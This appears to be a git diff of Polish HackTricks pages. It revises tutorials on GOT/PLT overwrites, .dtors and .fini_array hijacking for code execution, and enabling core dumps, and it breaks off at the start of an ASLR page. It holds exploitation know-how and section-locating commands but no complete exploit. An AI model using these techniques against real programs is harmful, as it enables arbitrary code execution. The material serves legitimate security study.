Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
### **GOT: Globalna tabela przesunięć**
|
||||
### **GOT: Global Offset Table**
|
||||
|
||||
**Globalna tabela przesunięć (GOT)** to mechanizm używany w binariach dynamicznie łączonych do zarządzania **adresami funkcji zewnętrznych**. Ponieważ te **adresy nie są znane do czasu wykonania** (ze względu na dynamiczne łączenie), GOT zapewnia sposób **dynamicznego aktualizowania adresów tych zewnętrznych symboli** po ich rozwiązaniu.
|
||||
**Global Offset Table (GOT)** to mechanizm używany w dynamicznie linkowanych binariach do zarządzania **adresami funkcji zewnętrznych**. Ponieważ te **adresy nie są znane do czasu uruchomienia** (z powodu dynamicznego linkowania), GOT zapewnia sposób na **dynamiczne aktualizowanie adresów tych zewnętrznych symboli** po ich rozwiązaniu.
|
||||
|
||||
Każdy wpis w GOT odpowiada symbolowi w zewnętrznych bibliotekach, które binarny może wywołać. Gdy **funkcja jest pierwszy raz wywołana, jej rzeczywisty adres jest rozwiązywany przez dynamiczny łącznik i przechowywany w GOT**. Kolejne wywołania tej samej funkcji używają adresu przechowywanego w GOT, unikając tym samym ponownego rozwiązywania adresu.
|
||||
Każdy wpis w GOT odpowiada symbolowi w zewnętrznych bibliotekach, które może wywołać binarne. Gdy **funkcja jest wywoływana po raz pierwszy, jej rzeczywisty adres jest rozwiązywany przez dynamiczny linker i przechowywany w GOT**. Kolejne wywołania tej samej funkcji korzystają z adresu przechowywanego w GOT, unikając w ten sposób narzutu związanego z ponownym rozwiązywaniem adresu.
|
||||
|
||||
### **PLT: Tabela łączenia procedur**
|
||||
### **PLT: Procedure Linkage Table**
|
||||
|
||||
**Tabela łączenia procedur (PLT)** ściśle współpracuje z GOT i służy jako trampolina do obsługi wywołań funkcji zewnętrznych. Gdy binarny **wywołuje funkcję zewnętrzną po raz pierwszy, kontrola jest przekazywana do wpisu w PLT powiązanego z tą funkcją**. Ten wpis PLT jest odpowiedzialny za wywołanie dynamicznego łącznika w celu rozwiązania adresu funkcji, jeśli nie został on jeszcze rozwiązany. Po rozwiązaniu adresu jest on przechowywany w GOT.
|
||||
**Procedure Linkage Table (PLT)** działa blisko z GOT i służy jako trampolina do obsługi wywołań funkcji zewnętrznych. Gdy binarne **wywołuje funkcję zewnętrzną po raz pierwszy, kontrola jest przekazywana do wpisu w PLT powiązanego z tą funkcją**. Ten wpis PLT jest odpowiedzialny za wywołanie dynamicznego linkera w celu rozwiązania adresu funkcji, jeśli nie został on jeszcze rozwiązany. Po rozwiązaniu adresu jest on przechowywany w GOT.
|
||||
|
||||
**Dlatego** wpisy GOT są używane bezpośrednio, gdy adres funkcji zewnętrznej lub zmiennej jest rozwiązany. **Wpisy PLT są używane do ułatwienia początkowego rozwiązania** tych adresów za pomocą dynamicznego łącznika.
|
||||
**Dlatego** wpisy GOT są używane bezpośrednio, gdy adres funkcji lub zmiennej zewnętrznej jest rozwiązany. **Wpisy PLT są używane do ułatwienia początkowego rozwiązania** tych adresów za pośrednictwem dynamicznego linkera.
|
||||
|
||||
## Uruchomienie wykonania
|
||||
## Uzyskaj wykonanie
|
||||
|
||||
### Sprawdź GOT
|
||||
|
||||
Pobierz adres tabeli GOT za pomocą: **`objdump -s -j .got ./exec`**
|
||||
Uzyskaj adres do tabeli GOT za pomocą: **`objdump -s -j .got ./exec`**
|
||||
|
||||
![](<../../../.gitbook/assets/image (619).png>)
|
||||
|
||||
Zauważ, jak po **załadowaniu** **wykonywalnego** pliku w GEF możesz **zobaczyć** **funkcje**, które znajdują się w **GOT**: `gef➤ x/20x 0xADDR_GOT`
|
||||
Zauważ, jak po **załadowaniu** **wykonywalnego** w GEF możesz **zobaczyć** **funkcje**, które są w **GOT**: `gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||||
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||||
|
||||
Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **`got`** aby zobaczyć tabelę GOT:
|
||||
Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **`got`**, aby zobaczyć tabelę got:
|
||||
|
||||
![](<../../../.gitbook/assets/image (621).png>)
|
||||
|
||||
### GOT2Exec
|
||||
|
||||
W binarnym GOT znajdują się **adresy funkcji lub** sekcji **PLT**, która załaduje adres funkcji. Celem tego dowolnego zapisu jest **nadpisanie wpisu GOT** funkcji, która zostanie wykonana później **adresem** PLT funkcji **`system`** na przykład.
|
||||
W binarnym GOT ma **adresy do funkcji lub** do sekcji **PLT**, która załaduje adres funkcji. Celem tego dowolnego zapisu jest **nadpisanie wpisu GOT** funkcji, która ma być wykonana później **z** **adresem** PLT funkcji **`system`** na przykład.
|
||||
|
||||
Idealnie, nadpiszesz **GOT** funkcji, która ma być **wywołana z kontrolowanymi przez ciebie parametrami** (dzięki czemu będziesz mógł kontrolować parametry przesłane do funkcji system).
|
||||
Idealnie, powinieneś **nadpisać** **GOT** funkcji, która **ma być wywołana z parametrami kontrolowanymi przez Ciebie** (abyś mógł kontrolować parametry wysyłane do funkcji systemowej).
|
||||
|
||||
Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemowa **nie** będzie miała wpisu w PLT. W takim scenariuszu będziesz **musiał najpierw ujawnić adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres.
|
||||
Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemowa **nie będzie miała** wpisu w PLT. W tym scenariuszu będziesz **musiał najpierw wycieknąć adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres.
|
||||
|
||||
Możesz zobaczyć adresy PLT za pomocą **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
## **Jedno narzędzie**
|
||||
## **One Gadget**
|
||||
|
||||
{% content-ref url="../one-gadget.md" %}
|
||||
[one-gadget.md](../one-gadget.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Zabezpieczenia**
|
||||
## **Ochrony**
|
||||
|
||||
Ochrona **Full RELRO** ma na celu ochronę przed tego rodzaju techniką poprzez rozwiązanie wszystkich adresów funkcji podczas uruchamiania binarnego i ustawienie **tabeli GOT jako tylko do odczytu** po tym:
|
||||
Ochrona **Full RELRO** ma na celu ochronę przed tego rodzaju techniką poprzez rozwiązanie wszystkich adresów funkcji, gdy binarne jest uruchamiane i uczynienie **tabeli GOT tylko do odczytu** po tym:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
|
@ -73,16 +74,17 @@ Ochrona **Full RELRO** ma na celu ochronę przed tego rodzaju techniką poprzez
|
|||
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
# AWS2Exec - .dtors & .fini\_array
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## .dtors
|
||||
|
||||
{% hint style="danger" %}
|
||||
Obecnie jest bardzo **dziwne znalezienie binarnego pliku z sekcją .dtors**.
|
||||
Obecnie jest bardzo **dziwne znaleźć binarny plik z sekcją .dtors**.
|
||||
{% endhint %}
|
||||
|
||||
Destruktory to funkcje, które są **wykonywane przed zakończeniem programu** (po zakończeniu działania funkcji `main`).\
|
||||
Adresy tych funkcji są przechowywane wewnątrz sekcji **`.dtors`** binarnego pliku, dlatego jeśli uda ci się **zapisać** adres **shellcode** w **`__DTOR_END__`**, to zostanie **wykonany** przed zakończeniem programu.
|
||||
Destruktory to funkcje, które są **wykonywane przed zakończeniem programu** (po zwróceniu funkcji `main`).\
|
||||
Adresy tych funkcji są przechowywane w sekcji **`.dtors`** binarnego pliku i dlatego, jeśli uda ci się **zapisać** **adres** do **shellcode** w **`__DTOR_END__`**, to zostanie on **wykonany** przed zakończeniem programu.
|
||||
|
||||
Pobierz adres tej sekcji za pomocą:
|
||||
Uzyskaj adres tej sekcji za pomocą:
|
||||
```bash
|
||||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
Zazwyczaj znajdziesz znaczniki **DTOR** **pomiędzy** wartościami `ffffffff` i `00000000`. Jeśli zobaczysz tylko te wartości, oznacza to, że **nie ma zarejestrowanej żadnej funkcji**. **Nadpisz** więc **`00000000`** adresem **shellcode**, aby go uruchomić.
|
||||
Zazwyczaj znajdziesz znaczniki **DTOR** **pomiędzy** wartościami `ffffffff` i `00000000`. Więc jeśli widzisz tylko te wartości, oznacza to, że **nie ma zarejestrowanej funkcji**. Więc **nadpisz** **`00000000`** adresem do **shellcode**, aby go wykonać.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Oczywiście najpierw musisz znaleźć **miejsce do przechowywania shellcode**, aby później móc go wywołać.
|
||||
Oczywiście, najpierw musisz znaleźć **miejsce na przechowanie shellcode**, aby później móc go wywołać.
|
||||
{% endhint %}
|
||||
|
||||
## **.fini\_array**
|
||||
|
||||
To w zasadzie struktura zawierająca **funkcje, które zostaną wywołane** przed zakończeniem programu, podobnie jak **`.dtors`**. Jest to interesujące, jeśli możesz wywołać swoją **shellcode, skacząc do adresu**, lub w przypadkach, gdy musisz wrócić **do `main`** aby **wykorzystać podatność po raz drugi**.
|
||||
W zasadzie jest to struktura z **funkcjami, które będą wywoływane** przed zakończeniem programu, jak **`.dtors`**. To jest interesujące, jeśli możesz wywołać swój **shellcode, po prostu skacząc do adresu**, lub w przypadkach, gdy musisz wrócić do **`main`** ponownie, aby **wykorzystać lukę po raz drugi**.
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
@ -47,22 +48,23 @@ Contents of section .fini_array:
|
|||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
Zauważ, że to **nie spowoduje** **wiecznej pętli**, ponieważ gdy wrócisz do funkcji main, canary zauważy, że koniec stosu może być uszkodzony i funkcja nie będzie ponownie wywołana. Dzięki temu będziesz mógł **wykonać 1 dodatkowe** wywołanie podatności.
|
||||
Zauważ, że to **nie** **spowoduje** **wiecznej pętli**, ponieważ gdy wrócisz do main, kanarek to zauważy, koniec stosu może być uszkodzony i funkcja nie zostanie wywołana ponownie. Dzięki temu będziesz mógł **mieć 1 więcej wykonanie** podatności.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że w przypadku [Full Relro](../common-binary-protections-and-bypasses/relro.md), sekcja `.fini_array` jest ustawiona jako **tylko do odczytu**.
|
||||
Zauważ, że przy [Full RELRO](../common-binary-protections-and-bypasses/relro.md) sekcja `.fini_array` jest ustawiona jako **tylko do odczytu**.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,55 @@
|
|||
# Wspólne zabezpieczenia binarne
|
||||
# Common Binary Protections
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Włącz pliki Core
|
||||
## Włącz pliki rdzeniowe
|
||||
|
||||
**Pliki Core** to rodzaj plików generowanych przez system operacyjny, gdy proces ulega awarii. Pliki te przechwytują obraz pamięci zatrzymanego procesu w chwili jego zakończenia, w tym pamięć procesu, rejestry i stan licznika programu, między innymi szczegóły. Ten zrzut może być niezwykle wartościowy do debugowania i zrozumienia przyczyny awarii.
|
||||
**Pliki rdzeniowe** to rodzaj pliku generowanego przez system operacyjny, gdy proces ulega awarii. Pliki te przechwytyują obraz pamięci awaryjnego procesu w momencie jego zakończenia, w tym pamięć procesu, rejestry i stan licznika programu, między innymi szczegóły. Ten zrzut może być niezwykle cenny do debugowania i zrozumienia, dlaczego wystąpiła awaria.
|
||||
|
||||
### **Włączanie Generowania Plików Core**
|
||||
### **Włączanie generowania zrzutów rdzeniowych**
|
||||
|
||||
Domyślnie wiele systemów ogranicza rozmiar plików core do 0 (tj. nie generuje plików core) w celu oszczędzania miejsca na dysku. Aby włączyć generowanie plików core, można użyć polecenia `ulimit` (w powłoce bash lub podobnych) lub skonfigurować ustawienia systemowe.
|
||||
Domyślnie wiele systemów ogranicza rozmiar plików rdzeniowych do 0 (tj. nie generują plików rdzeniowych), aby zaoszczędzić miejsce na dysku. Aby włączyć generowanie plików rdzeniowych, można użyć polecenia `ulimit` (w bashu lub podobnych powłokach) lub skonfigurować ustawienia systemowe.
|
||||
|
||||
* **Korzystanie z ulimit**: Polecenie `ulimit -c unlimited` pozwala bieżącej sesji powłoki tworzyć pliki core o nieograniczonej wielkości. Jest to przydatne podczas sesji debugowania, ale nie jest trwałe po ponownym uruchomieniu systemu lub nowych sesjach.
|
||||
* **Używając ulimit**: Polecenie `ulimit -c unlimited` pozwala bieżącej sesji powłoki na tworzenie plików rdzeniowych o nieograniczonej wielkości. Jest to przydatne w sesjach debugowania, ale nie jest trwałe po ponownym uruchomieniu lub w nowych sesjach.
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
* **Trwała konfiguracja**: Dla bardziej trwałego rozwiązania, możesz edytować plik `/etc/security/limits.conf`, aby dodać linię taką jak `* soft core unlimited`, która pozwala wszystkim użytkownikom generować pliki core o nieograniczonej wielkości bez konieczności ręcznego ustawiania ulimit w ich sesjach.
|
||||
* **Trwała konfiguracja**: Aby uzyskać bardziej trwałe rozwiązanie, możesz edytować plik `/etc/security/limits.conf`, aby dodać linię taką jak `* soft core unlimited`, co pozwala wszystkim użytkownikom na generowanie plików core o nieograniczonej wielkości bez konieczności ręcznego ustawiania ulimit w ich sesjach.
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
### **Analiza plików rdzenia za pomocą GDB**
|
||||
### **Analiza plików rdzeniowych za pomocą GDB**
|
||||
|
||||
Aby przeanalizować plik rdzenia, można użyć narzędzi do debugowania, takich jak GDB (GNU Debugger). Zakładając, że masz wykonywalny plik, który wygenerował zrzut rdzenia, a plik rdzenia ma nazwę `core_file`, można rozpocząć analizę za pomocą:
|
||||
Aby przeanalizować plik rdzeniowy, możesz użyć narzędzi do debugowania, takich jak GDB (GNU Debugger). Zakładając, że masz plik wykonywalny, który wygenerował zrzut rdzenia, a plik rdzeniowy nazywa się `core_file`, możesz rozpocząć analizę za pomocą:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
To polecenie wczytuje plik wykonywalny i plik rdzenia do GDB, pozwalając na zbadanie stanu programu w momencie awarii. Możesz użyć poleceń GDB do eksploracji stosu, sprawdzenia zmiennych i zrozumienia przyczyny awarii.
|
||||
To polecenie ładuje plik wykonywalny i plik rdzenia do GDB, co pozwala na zbadanie stanu programu w momencie awarii. Możesz używać poleceń GDB, aby eksplorować stos, badać zmienne i zrozumieć przyczynę awarii.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,39 @@
|
|||
# ASLR
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
